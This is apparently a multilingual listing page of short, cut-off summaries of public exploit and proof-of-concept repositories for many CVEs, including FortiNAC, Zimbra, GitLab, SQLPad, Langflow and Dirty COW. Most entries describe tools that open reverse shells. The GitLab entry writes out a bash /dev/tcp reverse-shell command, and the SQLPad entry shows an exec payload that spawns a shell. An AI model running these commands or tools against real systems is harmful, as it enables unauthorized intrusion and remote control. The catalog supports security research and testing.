CVE-2022-39952

CVE-2022-39952 PoC для CVE-2022-39952, затрагивающей Fortinet FortiNAC Конфигурация по умолчанию данного эксплойта создает задачу cron для организации обратной оболочки. Обязательно измените файл payload под ваше окружение. Технический анализ Технический анализ первопричины уязвимости и индикатор...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc, включающий reverse-shell и поддержку пароля. Смело добавляйте что-нибудь ещё : Как тестировать? root@kitploit: $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $...

CVE-2022-1388

CVE-2022-1388 RCE, обратная оболочка и автоматический экспорт PCAP -- ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ -- Автор не несёт ответственности за любые действия, совершённые с использованием данного проекта/репозитория. Я создал его для понимания атаки, а также для написания детектов в SIEM, и хочу...

CVE-2023-30547

CVE-2023-30547 Это Proof-of-Concept для CVE-2023-30547 https://nvd.nist.gov/vuln/detail/CVE-2023-30547. Я создал этот PoC во время CTF. Использование root@kitploit: CVE-2023-30547 PoC -h --url URL --lhost LHOST --lport LPORT PoC для уязвимости vm2 CVE-2023-30547 options: -h, --help показать это...

Node.js-CVE-2017-5941

NodeJS: демонстрация уязвимости небезопасной десериализации Node.js — это среда выполнения с открытым исходным кодом, используемая для реализации серверной функциональности на JavaScript. Один из пакетов в составе Node.js содержит уязвимую функцию, связанную с десериализацией, которая приводит к...

CVE-2022-27925-Revshell

Exploit d'exécution de code à distance non authentifié Zimbra CVE-2022-27925 root@kitploit: / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET,...

CVE-2022-0944

CVE-2022-0944 PoC PoC для RCE в SQLPad. Этот пример запускает обратную оболочку, но полезную нагрузку можно изменить для выполнения любой доступной команды, изменив команду в вызове 'exec' внутри полезной нагрузки. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

CVE-2023-30258-magnus-billing-v7-exploit

Magnus Billing System v7 익스플로잇 이 Python 스크립트는 Magnus Billing System v7의 명령 주입 취약점, 특히 /mbilling/lib/icepay/icepay.php에 위치한 icepay.php 스크립트에서의 익스플로잇을 자동화합니다. 이 익스플로잇은 democ 파라미터를 활용하여 대상 시스템에서 임의의 명령을 실행하고, 궁극적으로 공격자가 제어하는 시스템으로 리버스 셸을 설정합니다. 취약점 개요 이 취약점은 조작된 GET 요청을 통해 인증 없이 명령 주입을 허용합니다. 원래 개념...

RCE-CVE-2025-3248

Exécution de code à distance authentifiée CVE-2025-3248 Langflow Ce script Python exploite CVE-2025-3248 pour exécuter des commandes arbitraires ou lancer un shell inversé sur un système vulnérable. L'authentification est requise pour utiliser cet exploit. Fonctionnalités Exécution de commandes...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 – RCE authentifié Ce script PoC est basé sur l'exploit fourni par Fellipe Oliveira. Fonctionnalités : Téléverse directement du code C vers /hardware au lieu d'un fichier st Restaure le programme par défaut avant de téléverser le reverse shell Reverse shell en C...

CVE-2023-42791_CVE-2024-23666

Эксплойт-скрипты для FortiManager: недостаточные проверки авторизации CVE-2024-23666 и неограниченная загрузка файлов CVE-2023-42791 Предоставлены два эксплойт-скрипта, использующих эти уязвимости: rce.py: Обеспечивает обратную оболочку или добавляет произвольного администратора из...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC‑эксплойт для CVE‑2024‑55963, который выполняет произвольные команды или запускает reverse shell на уязвимых экземплярах Appsmith. Он автоматически обрабатывает как современные серверы с функцией environmentId, так и гораздо более старые «legacy» сборки, которые...

CVE-2023-28343

CVE-2023-28343 CVE-2023-28343 PoC 익스플로잇 사용법 root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address for...

CVE-2022-30525

CVE-2022-30525 CVE-2022-30525 POC 익스플로잇 사용법 root@kitploit: usage: exploit.py -h -t TARGET -lhost LOCALHOST -lport LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET IP address of the target, eg: https://127.0.0.1:9443 -lhost LOCALHOST, --localhost...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Тестовая версия Создание команды для эксплуатации уязвимости root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Создание изображения для эксплуатации с помощью djvumake root@kitploit:...

CVE-2007-2447

CVE-2007-2447 PoC: Samba "usermap script" remote command-execution historical CVE. This repository contains a small proof-of-concept script for research and educational review. The primary script is usermapscriptCommandExecution.py. Reference writeup:...

POC-CVE-2025-55182

POC-CVE-2025-55182 автор : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 root@kitploit: usage: CVE-2025-55182-Exp.py -h -u URL -l LIST -c COMMAND -i --revshell LHOST LPORT -t THREADS --proxy PROXY --timeout TIMEOUT -v Использование root@kitploit: Single target exploit python3...

BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC 도구 ======= BadBash는 CVE-2014-6271 RCE 익스플로잇 도구입니다. 기본 버전은 HTTP CGI 사이트만 확인하며 포트 1234에서 netcat 리버스 셸만 제공합니다. 개발자 : Andy Yang 버전 : 0.1.0 라이선스 : GPLv3 원본 GitHub 프로젝트 : https://github.com/RainMak3r/Rainstorm...

dirtycow-vdso

0xdeadbeef PoC для Dirty COW CVE-2016-5195. Данный PoC использует ptrace вместо /proc/self/mem для модификации vDSO. У него есть несколько преимуществ перед PoC, модифицирующими бинарные файлы файловой системы: не требуется setuid-бинарник обход SELinux побег из контейнера отсутствие краха ядра...

Penetration-Testing-on-Metasploitable2

Internship Project 2 — Penetration Testing on Metasploitable2 Summary: This project demonstrates a complete penetration testing workflow: reconnaissance, enumeration, exploitation, post-exploitation validation, and mitigation recommendations. The target used is Metasploitable2 and the attack box ...